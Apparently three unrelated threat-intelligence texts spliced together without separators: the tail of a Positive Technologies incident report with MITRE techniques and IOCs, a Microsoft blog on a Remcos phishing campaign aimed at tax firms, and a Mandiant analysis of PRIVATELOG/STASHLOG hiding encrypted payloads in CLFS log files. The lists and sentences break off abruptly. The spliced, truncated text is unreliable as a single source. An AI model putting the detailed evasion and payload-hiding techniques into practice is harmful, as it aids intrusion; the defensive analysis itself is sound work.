The hackers, while not changing their TTPs, chose rather unusual software to monetize their attacks.


Perhaps the compromise of this client was an accident and this was merely an attempt to obtain at least some benefit.


User data was encrypted, after which a ransom demand was made.


A mistake in the ransomware's cryptographic algorithms enabled us to recover the encrypted files.


To our knowledge, the attackers did not obtain access to information of any value whatsoever, ultimately leaving them with nothing to show for their efforts.


Authors: Denis Goydenko and Alexey Vishnyakov, Positive Technologies MITRE TTPs Tactic ID Name Initial Access T1190 Exploit Public-Facing Application T1199 Trusted Relationship Execution T1059 Command and Scripting Interpreter:


Windows Command Shell T1053 Scheduled Task/Job: Scheduled Task T1047 Windows Management Instrumentation Persistence T1547 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1574 Hijack Execution Flow: DLL Search Order Hijacking T1053 Scheduled Task/Job: Scheduled Task T1078 Valid Accounts: Domain Accounts T1078 Valid Accounts: Default Accounts Privilege Escalation T1068 Exploitation for Privilege Escalation Defense Evasion T1140 Deobfuscate/Decode Files or Information T1070 Indicator Removal on Host: Clear Windows Event Logs T1070 Indicator Removal on Host: File Deletion T1070 Indicator Removal on Host: Timestomp Credential Access T1003 OS Credential Dumping: LSASS Memory Discovery T1087 Account Discovery: Domain Account T1082 System Information Discovery T1049 System Network Connections Discovery Lateral Movement T1210 Exploitation of Remote Services T1570 Lateral Tool Transfer T1021 Remote Services: SMB/Windows Admin Shares Collection T1560 Archive Collected Data: Archive via Utility T1005 Data from Local System T1119 Automated Collection T1039 Data from Network Shared Drive Command and Control T1071 Application Layer Protocol: Web Protocols T1132 Data Encoding: Standard Encoding T1573 Encrypted Channel:


Symmetric Cryptography Exfiltration T1020 Automated Exfiltration T1041 Exfiltration Over C2 Channel Impact T1486 Data Encrypted for Impact IOCs ChinaChopper: 2ce60073c09887f9e3a482097294e17d 5bc0d6918e03a92f04b3dfc21b619c7f 73717a2f9bfe19ccdad541bec1fa2b69 82a8470534d74c9c5c0d84071eb0a703 b89e96e2ea8dd6fdb438f7d5b8ecf60c TwoFace: 581c331d41ef5f5df99ae0d16b2cebf0 84816f2e1f321f45c15c80b5cd6b4d37 ff2693903a1049984745e79381e9ed7e SysUpdate: 3c1981991cce3b329902288bb2354728 43a2c2fb8d52dc1835ac18516b13aff1 4b5484e3de5c5a2e60fcee50d04183d6 SysUpdate C&C: 103.59.144[.]183 95.179.189[.]33 NBTScan: f01a9a2d1e31332ed36c1a4d2839f412 SMBTouch: b50fff074764b3a29a00b245e4d0c863 PsExec: aeee996fd3484f28e5cd85fe26b6bdcd Termite: dc92496358b8e67568a35b861ba1804e39e3d36b Dsquery: 3583d7c971de148a1ffb3302d1510ef1 EternalBlue:


8c80dd97c37525927c1e549cb59bcbf3 frsocks: da0c13d834cafc010bec1afa2d76196ced71e661 Mimikatz: 449da3d7405c2c79fa55bd7973096e28 0078ff05c20689f40ea9cb8c47fcfb2e52cdc3a9 BitMiner: 5430039162e58c44f9a5941295b55fba Polar:


Threat actors often take advantage of current events and major news headlines to align attacks and leverage social engineering when people could be more likely to be distracted or misled.

Threat actors strive to cause Tax Day headaches


Tax season is particularly appealing to threat actors because not only are people busy and under stress, but it is intrinsically tied to financial information.


With U.S. Tax Day approaching, Microsoft has observed phishing attacks targeting accounting and tax return preparation firms to deliver the Remcos remote access trojan (RAT) and compromise target networks beginning in February of this year.


Remcos, which stands for “Remote Control and Surveillance”, is a closed-source tool that allows threat actors to gain administrator privileges on Windows systems remotely.


It was released in 2016 by BreakingSecurity, a European company that markets Remcos and other offensive security tools as legitimate software.


In 2021, CISA listed Remcos among its top malware strains, citing its use in mass phishing attacks using COVID-19 pandemic themes targeting businesses and individuals.


While social engineering lures like this one are common around Tax Day and other big topic current events, these campaigns are specific and targeted in a way that is uncommon.


The targets for this threat are exclusively organizations that deal with tax preparation, financial services, CPA and accounting firms, and professional service firms dealing in bookkeeping and tax.


This campaign can be detected in Microsoft Defender Antivirus, built into Windows and on by default, as well as Microsoft 365 Defender.


The campaign uses lures masquerading as tax documentation sent by a client, while the link in the email uses a legitimate click-tracking service to evade detection.


The target is then redirected to a legitimate file hosting site, where the actor has uploaded Windows shortcut (.LNK) files.


Remcos malware phishing lure These LNK files generate web requests to actor-controlled domains and/or IP addresses to download malicious files.


These malicious files then perform actions on the target device and download the Remcos payload, providing the actor potential access to the target device and network.


Microsoft is sharing this information along with detections and recommendations with the community to help users and defenders stay vigilant against this campaign with Tax Day approaching in the U.S. on April 18.


Microsoft 365 Defender and Microsoft Defender Antivirus detect and block Remcos and other malicious activity related to this campaign.


Phishing campaign analysis What we have observed is that the link in the phishing email points to Amazon Web Services click tracking service at awstrack[.]me.


The initial link then redirects the target to a ZIP file hosted on legitimate file-sharing service spaces[.]hightail[.]com.


The ZIP file contains LNK files that act as Windows shortcuts to other files.


The LNK files make web requests to actor-controlled domains and IP addresses to download additional malicious files such as MSI files containing DLLs or executables, VBScript files containing PowerShell commands, or deceptive PDFs.


Unpacked file names referencing tax documents in the malware In some cases, GuLoader was used to execute shellcode and subsequently download Remcos on the target system.


GuLoader is a malicious downloader that has been used by many different actors to deliver a wide variety of malware, including several RATs such as Remcos, through phishing campaigns since it was first observed in the wild in December 2019.


The downloader uses several techniques to evade analysis and detection such as using legitimate file-sharing sites and cloud hosting services for payload storage and delivery as well as encryption and obfuscation of the GuLoader shellcode and payloads.


Successful delivery of a Remcos payload could provide an attacker the opportunity to take control of the target device to steal information and/or move laterally through the target network.


Tax Day-themed Remcos attack chain We continue to learn from these campaigns to improve how we protect customers.


Recommendations and detections Microsoft recommends the following mitigations to reduce the impact of this threat: Block JavaScript or VBScript from launching downloaded executable content Block executable files from running unless they meet a prevalence, age, or trusted list criterion Enable Microsoft Defender Antivirus scanning of downloaded files and attachments Enable Microsoft Defender Antivirus real-time behavior monitoring Enable cloud-delivered protection Detection details Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects phishing emails associated with the campaign discussed in this blog.


Microsoft Defender Antivirus Microsoft Defender Antivirus, on by default on Windows machines, detects threat components as the following malware: Backdoor:Win32/Remcos.


GA!MTB Microsoft Defender for Endpoint Alerts with the following titles in the security center can indicate threat activity on your network: ‘Remcos’ backdoor Suspicious ‘Remcos’ behavior ‘Remcos’ malware ‘Guloader’ malware Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.


Domain:uymm[.]orgURL:https[:]//uymm[.]org/roman.msiSHA-256 hashes:23597910ec60cf8b97144447c5cddd2e657d09e2f2008d53a3834b6058f36a4195a2d34db66ce4507d05ac33bea3bdc054860d9d97e91bdc2ce7ce689ae06e9fac55905e6f5a2ab166f9a2ea7d1f4f68f5660f39b5c28b7746df1e9db6dd4430 References: 2021 Top Malware Strains | Cybersecurity and Infrastructure Security Agency (CISA) GuLoader: A Popular New VB6 Downloader that Abuses Cloud Services | Proofpoint US GuLoader: Peering Into a Shellcode-based Downloader | CrowdStrike The post Threat actors strive to cause Tax Day headaches appeared first on Microsoft Security Blog.


The Mandiant Advanced Practices team recently discovered a new malware family we have named PRIVATELOG and its installer, STASHLOG.

Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth


In this post, we will share a novel and especially interesting technique the samples use to hide data, along with detailed analysis of both files that was performed with the support of FLARE analysts.


We will also share sample detection rules, and hunting recommendations to find similar activity in your environment.


Mandiant has yet to observe PRIVATELOG or STASHLOG in any customer environments or to recover any second-stage payloads launched by PRIVATELOG.


This may indicate malware that is still in development, the work of a researcher, or targeted activity.


CLFS and Transaction Files PRIVATELOG and STASHLOG rely on the Common Log File System (CLFS) to hide a second stage payload in registry transaction files.


CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance.


It provides applications with API functions—available in clfsw32.dll—to create, store and read log data.


Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files.


This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions.


This is similar in nature to malware which may rely, for example, on the Windows Registry or NTFS Extended Attributes to hide their data, which also provide locations to store and retrieve binary data with the Windows API.


In Microsoft Windows, CLFS is notably used by the Kernel Transaction Manager (KTM) for both Transactional NTFS (TxF) and Transactional Registry (TxR) operations.


These allow applications to perform a number of changes on the filesystem or registry, all grouped in a single transaction that can be committed or rolled back.


For example, to open a registry key in a transaction, the functions RegCreateKeyTransacted(), RegOpenKeyTransacted(), and RegDeleteKeyTransacted() are available.


Registry transactions are stored in dedicated files with the following naming scheme: <hive><GUID>.TMContainer<number>.regtrans-ms or <hive><GUID>.TxR.<number>.regtrans-ms.


These are CLFS containers that are referenced in a master .blf


file that only contains metadata and can be found in various locations including user profile directories.


Registry transaction forensics were briefly explored in a previous blog post.


The CLFS master and container file formats are mostly undocumented; however, previous research is available on GitHub.


Malware Obfuscation As with many malware families, most of the strings used by PRIVATELOG and STASHLOG are obfuscated.


Yet the technique observed here is uncommon and relies on XOR’ing each byte with a hard-coded byte inline, with no loops.


Effectively, each string is therefore encrypted with a unique byte stream.


Figure 1: Sample string deobfuscation for "PrintNotify" Interestingly, some of the deobfuscated strings from the installer are used for logging error messages and have spelling errors or typos such as: Log index=%d, data border exceed bounday.\n Interal data hash mismatch.\n Log buffer size=%u too small, expect aleast %u bytes.\n Introducing STASHLOG In addition to containing obfuscated strings, the installer’s code is protected using various control flow obfuscation techniques that make static analysis cumbersome.


Figure 2 is a graph overview of the installer’s main() function demonstrating the effects of the control flow obfuscation.


Figure 2: Graph view of main() STASHLOG has two different modes of operation: Without any arguments, during which it will prepare the environment With a single argument, which is a file that should be hidden in a CLFS file Preparing the Environment Executed without arguments, the installer prints two values to the console: The GUID returned from the registry value of HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID A 56-byte value derived from a randomly generated GUID with CoCreateGUID() Figure 3: Sample console output The 56-byte value is a concatenation of the random GUID, its SHA1 hash, and the SHA1 hash of the previous values.


So: GUID+sha1(GUID)+sha1(GUID+sha1(GUID)).


The randomly generated GUID is stored as a string in the GlobalAtom table, prefixed with win::.


This table resides in memory and contains strings with their identifiers available to all applications.


If a string prefixed with win:: already exists when the installer is executed, then the pre-existing GUID in the GlobalAtom table is reused.


Effectively, when executed with no arguments, the installer generates and prints out encryption keys that the actor uses to pre-encrypt the payload before it is written to disk.


Stashing the Payload When launched with an argument, the installer opens and decrypts the contents of the file passed as an argument.


It verifies that the file is suffixed by its SHA1 hash, and then generates the same 56-byte value using the stored GlobalAtom GUID string in memory.


The 56-byte value is SHA1 hashed again and the first 16-bytes form the initialization vector (IV), while the key is the 16-byte MachineGUID value from the host’s registry.


The encryption algorithm is HC-128, which is rarely seen used in malware.


The expected decrypted file contents have a 40-byte header: struct payloadHeader { DWORD magic; DWORD minWinVer; DWORD maxWinVer; DWORD totalSize; WORD numBlocks; WORD unknown; BYTE sha1sum[20]; } In the analyzed installer, the “magic” value is referred to as a checksum; however, STASHLOG verifies this value matches the hard-coded value 0x00686365.


The number of blocks, specified at offset 16, must be between 2 and 5.


The malware also checks that the operating system version is within a lower and upper boundary and that the SHA1 hash of the decrypted data matches the payload header value at offset 20.


Following the payload header, the malware expects blocks of encrypted data with 8-byte headers.


Each block header has the following structure: struct blockHeader { DWORD magic; DWORD blockSize; } Once the malware has checked and validated the structure of the payload, it searches for .blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.


In practice, the malware should typically find the file used for registry transaction logs: C:\Users\Default\NTUSER.DAT<GUID>.TM.blf If a matching .blf file is indeed found, it is opened with the CreateLogFile() API from clfsw32.dll.


This function opens CLFS logs and expects a file name in the following format, without the .blf extension: log:<LogName>[::<LogStreamName>] The log file is reset using the CloseAndResetLogFile() function and will be opened again to insert the data.


Before inserting data into the CLFS log file, the malware decrypts each block using HC-128.


The key is the 16-byte atom GUID and the IV is the first 16-bytes of the atom GUID SHA1 hash.


Each block is then re-encrypted with the new key material as follows: The encryption key is the 16-byte GUID from GetVolumeNameForVolumeMountPointW().


The IV is the first 16-bytes of the SHA1 hash of the concatenated GUIDs from: GetVolumeNameForVolumeMountPointW() The registry value HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID The contents are written to the CLFS log file using the clfsw32.dll API function ReserveAndAppendLog().


The payload header is written to the log file as the first entry, followed by separate entries for each block.


The data is effectively stored in the first container file for the registry transaction log: C:\Users\Default\NTUSER.DAT<GUID>.TMContainer00000000000000000001.regtrans-ms.


Onto PRIVATELOG The PRIVATELOG sample recovered by Mandiant is an un-obfuscated 64-bit DLL named prntvpt.dll.


It contains exports, which mimic those of legitimate prntvpt.dll files, although the exports have no functionality.


PRIVATELOG expects to be loaded from PrintConfig.dll, which is the main DLL of a service named PrintNotify, via DLL search order hijacking.


The malicious code is executed at the DLL’s entry point.


It starts by verifying the command-line arguments of the process it is running in and expects to be running under svchost.exe -k print.


If this matches, the malware resolves the function address for the ServiceMain export function of PrintConfig.dll, which is the service entry point of the service using this command line.


This function is patched using Microsoft Detours—a publicly available library used for instrumenting Win32 functions—so that the execution flow appears to happen in the legitimate service DLL.


The patched ServiceMain function is where PRIVATELOG executes most of its functionality.


Similarly to STASHLOG, PRIVATELOG starts by enumerating *.blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.


If a matching .blf file is found, PRIVATELOG opens it with the clfsw32.dll function CreateLogFile().


The log file is then marshalled and parsed using other functions specific to CLFS, such as CreateLogMarshallingArea(), ReadLogFile() and ReadNextLogFile().


The malware expects to find specific entries which match our analysis of the installer.


PRIVATELOG expects the first log entry to have the following format:


A size greater than 40 (payload header size)


A WORD value of 2, 3, 4, or 5 at offset 16 (number of blocks)


If the first entry matches the aforementioned criteria, then subsequent records are read until one has an 8-byte header with the following: Its first DWORD must equal 2 (assumed magic value)


Its second DWORD must be less than the entry’s size minus the header.


This value equals the size of the payload which will be decrypted.


Once the expected log entry is found, its contents are decrypted using the HC-128 encryption algorithm.


The decryption key and IV are generated using the same unique host properties that were used by STASHLOG.


It is worth noting that PRIVATELOG only decrypts the first matching block and that at least 2 to 5 blocks are expected to be inserted by STASHLOG.


PRIVATELOG finally uses a rarely seen technique to execute the DLL payload, which this time relies on NTFS transactions.


The injection process is similar to Phantom DLL hollowing and is described as follows: Open a transacted handle to a copied file via the API CreateFileTransactedA()